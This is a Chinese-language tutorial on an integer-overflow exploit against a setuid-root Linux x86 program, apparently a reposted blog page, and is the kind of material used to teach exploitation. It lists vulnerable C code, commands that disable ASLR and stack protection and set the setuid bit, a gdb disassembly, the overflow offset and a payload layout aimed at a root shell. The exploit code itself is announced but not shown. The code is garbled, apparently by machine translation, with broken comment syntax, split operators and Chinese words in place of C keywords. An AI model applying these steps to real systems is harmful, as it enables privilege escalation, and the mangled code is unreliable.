Linux (x86) Exploit 開發系列教程之二(整數溢出)
阿新 • • 發佈:2019-05-15
exec spa 整數 rcp argc roc arp 密碼 b+
(1)漏洞代碼
//vuln.c #include <stdio.h> #include <string.h> #include <stdlib.h> void store_passwd_indb(char * passwd){ } void validate_uname(char * uname){ } void validate_passwd(char * passwd){ char passwd_buf [11]; unsigned char passwd_len = strlen(passwd); / * [1] * / if(passwd_len> = 4 && passwd_len <= 8){/ * [2] * / printf(“有效密碼\ n”); / * [3] * / fflush(stdout); strcpy(passwd_buf,passwd); / * [4] * / } else { printf(“Invalid Password \ n”); / * [5] * / fflush(stdout); } store_passwd_indb(passwd_buf); / * [6] * / } int main(int argc,char * argv []){ if(argc!= 3){ printf(“Usage Error:\ n”); fflush(stdout); 退出(-1); } validate_uname(argv [1]); validate_passwd(argv [2]); 返回0; }
(2)編譯文件
sudo sh -c "echo 0> / proc / sys / kernel / randomize_va_space" gcc -g -fno-stack-protector -z execstack -o vuln vuln.c sudo chown root vuln sudo chgrp root vuln sudo chmod + s vuln
(3)原理:
上述漏洞代碼的[1]行顯示了一個整數溢出錯誤。strlen()的返回類型是size_t(unsigned int),它存儲在unsigned char數據類型中。因此,任何大於unsigned char的最大支持值(255)的值都會導致整數溢出。因此當密碼長度為261時,261將被包裹並存儲為“passwd_len”變量中的5!由於這個整數溢出,可以繞過行[2]執行的邊界檢查,從而導致基於堆棧的緩沖區溢出!
(4)反匯編並繪制出漏洞代碼的堆棧布局
gdb-peda$ disassemble validate_passwd Dump of assembler code for function validate_passwd: 0x0804849e <+0>: push ebp 0x0804849f <+1>: mov ebp,esp 0x080484a1 <+3>: push edi 0x080484a2 <+4>: sub esp,0x34 0x080484a5 <+7>: mov eax,DWORD PTR [ebp+0x8] 0x080484a8 <+10>: mov DWORD PTR [ebp-0x1c],0xffffffff 0x080484af <+17>: mov edx,eax 0x080484b1 <+19>: mov eax,0x0 0x080484b6 <+24>: mov ecx,DWORD PTR [ebp-0x1c] 0x080484b9 <+27>: mov edi,edx 0x080484bb <+29>: repnz scas al,BYTE PTR es:[edi] 0x080484bd <+31>: mov eax,ecx 0x080484bf <+33>: not eax 0x080484c1 <+35>: sub eax,0x1 0x080484c4 <+38>: mov BYTE PTR [ebp-0x9],al 0x080484c7 <+41>: cmp BYTE PTR [ebp-0x9],0x3 0x080484cb <+45>: jbe 0x8048500 <validate_passwd+98> 0x080484cd <+47>: cmp BYTE PTR [ebp-0x9],0x8 0x080484d1 <+51>: ja 0x8048500 <validate_passwd+98> 0x080484d3 <+53>: mov DWORD PTR [esp],0x8048660 0x080484da <+60>: call 0x80483a0 <[email protected]> 0x080484df <+65>: mov eax,ds:0x804a020 0x080484e4 <+70>: mov DWORD PTR [esp],eax 0x080484e7 <+73>: call 0x8048380 <[email protected]> 0x080484ec <+78>: mov eax,DWORD PTR [ebp+0x8] 0x080484ef <+81>: mov DWORD PTR [esp+0x4],eax 0x080484f3 <+85>: lea eax,[ebp-0x14] 0x080484f6 <+88>: mov DWORD PTR [esp],eax 0x080484f9 <+91>: call 0x8048390 <[email protected]> 0x080484fe <+96>: jmp 0x8048519 <validate_passwd+123> 0x08048500 <+98>: mov DWORD PTR [esp],0x804866f 0x08048507 <+105>: call 0x80483a0 <[email protected]> 0x0804850c <+110>: mov eax,ds:0x804a020 0x08048511 <+115>: mov DWORD PTR [esp],eax 0x08048514 <+118>: call 0x8048380 <[email protected]> 0x08048519 <+123>: lea eax,[ebp-0x14] 0x0804851c <+126>: mov DWORD PTR [esp],eax 0x0804851f <+129>: call 0x8048494 <store_passwd_indb> 0x08048524 <+134>: add esp,0x34 0x08048527 <+137>: pop edi 0x08048528 <+138>: pop ebp 0x08048529 <+139>: ret End of assembler dump.
(5)當輸入長度為261的密碼,可以繞過邊界檢查,並允許我們覆蓋堆棧中的返回地址。測試:
EBP、EIP被覆蓋為四個A
(6)堆棧布局顯示返回地址位於緩沖區‘passwd_buf‘的偏移(0x18)處。0x18計算如下:0xb+0x1+0x4+0x4+0x4,因此當用戶輸入“A” * 24 + “B” * 4 + “C” * 233,以A覆蓋passwd_buf,passwd_len,對齊空間,edi和調用者的ebp,以“BBBB”覆蓋返回地址,以"C"覆蓋剩余空間.
(6)找出shellcode的起始地址。ret_addr可以選擇100個NOP裏。
攻擊代碼如下:
運行,獲取到root shell權限
Linux (x86) Exploit 開發系列教程之二(整數溢出)